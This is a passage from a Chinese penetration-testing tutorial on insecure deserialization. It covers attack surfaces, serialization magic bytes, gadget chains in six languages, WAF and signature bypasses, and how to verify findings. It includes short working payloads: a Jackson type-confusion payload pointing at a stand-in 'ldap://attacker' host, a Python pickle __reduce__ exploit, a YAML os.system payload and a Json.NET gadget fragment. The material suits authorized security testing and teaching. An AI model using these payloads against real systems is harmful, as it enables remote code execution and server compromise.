第 5 章 · 06 不安全反序列化


文档摘要

第 5 章 · 06 不安全反序列化 本节摘要:不安全反序列化把攻击者控制的字节流或结构化 blob 交给语言原生的 unmarshal 函数,经魔术方法与 gadget 链实现远程代码执行、认证绕过与逻辑篡改。本节讲透跨六大语言(Java/Python/PHP/.NET/Ruby/Node.js)的攻击面、魔术字节指纹、各语言的 gadget 链与工具、签名 blob 绕过、二阶反序列化、绕过技巧与验证方法。原则是:测试任何接受序列化对象、session blob 或不透明二进制 token 的端点。 内容来源:原项目知识包 ,汉化并套用体系化模板。 ⚠️ 仅限授权测试:本节所有 payload 与技术仅用于你自己的应用或有书面授权的渗透测试。未经授权对他人系统使用这些技术是非法的。

第 5 章 · 06 不安全反序列化

本节摘要:不安全反序列化把攻击者控制的字节流或结构化 blob 交给语言原生的 unmarshal 函数,经魔术方法与 gadget 链实现远程代码执行、认证绕过与逻辑篡改。本节讲透跨六大语言(Java/Python/PHP/.NET/Ruby/Node.js)的攻击面、魔术字节指纹、各语言的 gadget 链与工具、签名 blob 绕过、二阶反序列化、绕过技巧与验证方法。原则是:测试任何接受序列化对象、session blob 或不透明二进制 token 的端点。

内容来源:原项目知识包 strix/skills/vulnerabilities/insecure_deserialization.md,汉化并套用体系化模板。

⚠️ 仅限授权测试:本节所有 payload 与技术仅用于你自己的应用或有书面授权的渗透测试。未经授权对他人系统使用这些技术是非法的。

学习目标

阅读完本节,你应当能够:

  1. 识别不安全反序列化的典型攻击面(cookie、session token、API 参数、消息队列、文件上传、缓存)。
  2. 魔术字节指纹判断序列化格式(Java ac ed 00 05、PHP O:、.NET 00 01 00 00 00)。
  3. 掌握 Java(CommonsCollections/Jackson)、Python(pickle/yaml.load)、PHP(unserialize/Phar)、.NET(BinaryFormatter/ViewState)各自的 gadget 链与工具
  4. 说明签名 blob 绕过二阶反序列化的思路。
  5. 用验证步骤确认漏洞、排除误报
  6. 评估不安全反序列化的影响等级

一、攻击面

格式:

  • Java:Java 原生序列化、XStream、JSON → 对象映射器(Jackson、Fastjson)、YAML(SnakeYAML)
  • Python:pickleyaml.load(不安全)、marshal、shelve
  • PHP:unserialize()、Phar 反序列化
  • .NET:BinaryFormatterJson.NET TypeNameHandling、ViewState
  • Ruby:Marshal.load、YAML.load
  • Node.js:node-serializeunserialize.js(较少见;merge 漏洞见原型污染)

输入位置:

  • cookie、session token、隐藏表单字段
  • API 参数(datastateobject、base64 blob)
  • 消息队列、WebSocket 二进制帧、文件上传
  • 缓存条目、存储序列化对象的数据库列

💡 核心心法:任何「不透明的 base64/二进制 blob」到达 unmarshal 的位置都是嫌疑点。先用魔术字节判断格式,再选对应语言的 gadget 链。

二、检测通道

指纹信号(魔术字节)

base64 blob 的起始魔术字节:

  • Java:ac ed 00 05(base64 十六进制 rO0)
  • PHP:解码后 O:a:s: 前缀
  • .NET BinaryFormatter:00 01 00 00 00 ff ff ff ff 开头

Content-Type 含二进制或自定义序列化;框架指示(Java 的 Spring/Struts/JSF、PHP 的 Symfony session)。

白盒指示

代码中存在以下调用即高危:

pickle.loads unserialize( ObjectInputStream BinaryFormatter yaml.load readObject( TypeNameHandling Marshal.load

三、利用方法与技术:各语言 gadget

Java 反序列化

gadget 链:Commons Collections、Commons BeanUtils、Spring、Groovy、Rome、JDK-only 链(因 classpath 而异)。

工具:ysoserial(仅授权测试),按 classpath 手动选链。

测试流程:

  1. 确认反序列化 sink(HTTP 参数、cookie、RMI、暴露的 JMX)
  2. 从错误、头部或捆绑库指纹库版本
  3. 为可用链生成 gadget payload;预期 DNS/HTTP 回调或命令执行

Jackson / JSON 类型:

["com.sun.rowset.JdbcRowSetImpl", {"dataSourceName":"ldap://attacker/o", "autoCommit":true}]

enableDefaultTyping@JsonTypeInfo 允许攻击者选择类型时。

Python pickle

pickle 按设计在 unpickling 时执行任意代码:

import pickle, os, base64 class Exploit: def __reduce__(self): return (os.system, ('id',)) # base64 编码 pickle.dumps(Exploit()) 后作为 cookie/参数发送

YAML:

!!python/object/apply:os.system ['id']

当用 yaml.load 而非 yaml.safe_load 时。

PHP unserialize()

对象注入:魔术方法 __wakeup__destruct__toString__call;经框架类(Laravel、Symfony、WordPress 插件)的 POP 链。

Phar 反序列化:上传或引用 phar:// 包装器,在文件操作时触发元数据反序列化。

.NET 反序列化

BinaryFormatter / LosFormatter:对不受信输入永不安全;已知 gadget 链(ysoserial.net)实现完整 RCE。

Json.NET:

{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework", ...}

TypeNameHandling != None 时。

ViewState:MAC 禁用或弱机器密钥 → 伪造反序列化的 view state。

Ruby Marshal

Marshal.load 处理用户输入 → Rails/Devise 各版本中的 gadget 链(上下文相关)。

高级技术

签名 blob 绕过:若 HMAC/签名用弱密钥或算法混淆,伪造序列化 payload;剥掉签名测未签名代码路径;适用时对 MAC 做长度扩展(旧的自定义方案)。

二阶反序列化:把序列化 blob 存进 profile/import;在管理员导出、缓存预热或批处理作业时触发。

压缩包装:Gzip/base64 嵌套编码,绕过简单 WAF 检查。

四、绕过技巧

  • 编码层:base64 → gzip → serialize
  • 替代参数:存储同一 session 的不同参数(sessionsession_backupstate)
  • 切换位置:切换 content-type 或参数位置(GET vs POST vs cookie)
  • 类型混淆:JSON 数组 vs 对象命中不同反序列化器分支
  • Unicode/UTF-7 走私:PHP 序列化字符串中的 Unicode/UTF-7(遗留上下文)

💡 绕过的本质:反序列化的绕过围绕「找到未净化的路径」——签名只验主参数时,试备份参数;WAF 只检一种编码时,换嵌套编码;同一 session 多处反序列化时,找未签名的那个。

五、验证与误报排除

确认一个不安全反序列化真实存在的稳妥步骤:

  1. 到达危险 sink:演示攻击者控制的对象图到达危险 sink(unmarshal/readObject)。
  2. 展示影响:RCE(有界命令)、认证绕过对象、或权限字段篡改。
  3. 编码 payload 与注入点:提供编码后的 payload 与精确注入点(cookie 名、参数、头部)。
  4. 修复版对照:在修复版或备用实例上确认同样 payload 安全失败。
  5. 文档化:记录库/版本与 gadget 链类名,便于修复。

常见误报:

  • base64 数据在反序列化前被加密或用已验证 HMAC 签名
  • 只反序列化原始类型(白名单 schema,无多态类型)
  • 未用 pickle/Marshal;JSON 解析成 dict 无对象实例化
  • 在无网络/exec 原语的隔离沙箱中反序列化(需彻底验证)
  • 错误提到序列化类但输入从未传给 unmarshal(死代码路径)

六、影响评估

  • 应用服务器上的远程代码执行
  • 经伪造 session 对象的认证绕过
  • 经反序列化类中被篡改的 role/admin 字段的权限提升
  • 在有已知 gadget 库的 Java/PHP/.NET 栈中的完整应用攻陷

⚠️ 不安全反序列化几乎总是严重——它直接给攻击者「在应用进程里执行任意代码」的能力。Java 栈因 gadget 库丰富(CommonsCollections 等)尤其危险;即便有签名,弱密钥也能被爆破(如 Java 的 rememberMe 密钥)。

本节要点回顾

  1. 核心心法:任何不透明 base64/二进制 blob 到达 unmarshal 都是嫌疑点;先用魔术字节判断格式,再选对应语言的 gadget 链。
  2. 六大语言格式:Java(原生/XStream/Jackson/SnakeYAML)、Python(pickle/yaml.load/marshal)、PHP(unserialize/Phar)、.NET(BinaryFormatter/Json.NET/ViewState)、Ruby(Marshal.load)、Node(node-serialize)。
  3. 魔术字节指纹:Java ac ed 00 05(base64 rO0)、PHP O:/a:/s:、.NET 00 01 00 00 00 ff ff ff ff
  4. 各语言 gadget:Java(CommonsCollections + ysoserial + URLDNS 安全神谕)、Python(__reduce__ + !!python/object/apply)、PHP(魔术方法 POP 链 + phpggc + Phar)、.NET(ysoserial.net + ViewState MAC)。
  5. 绕过思路:编码层嵌套(base64/gzip)、替代参数(session_backup)、位置切换、类型混淆、Unicode 走私;签名 blob 弱密钥可爆破时直接伪造。
  6. 验证五步:到达 sink、展示影响、编码 payload 与注入点、修复版对照、文档化;警惕加密/HMAC 签名、白名单 schema、沙箱、死代码路径导致的误报。
  7. 影响:从 RCE 到认证绕过、权限提升、完整应用攻陷;Java 栈因 gadget 库丰富尤其危险。

下一节,我们看 HTTP 请求走私——当前端代理与后端服务器对「一个 HTTP 请求在哪里结束」意见不一致时,攻击者可把隐藏请求前缀塞进后端 socket。


发布者: 作者: 灏天文库 转发
评论区 (0)
U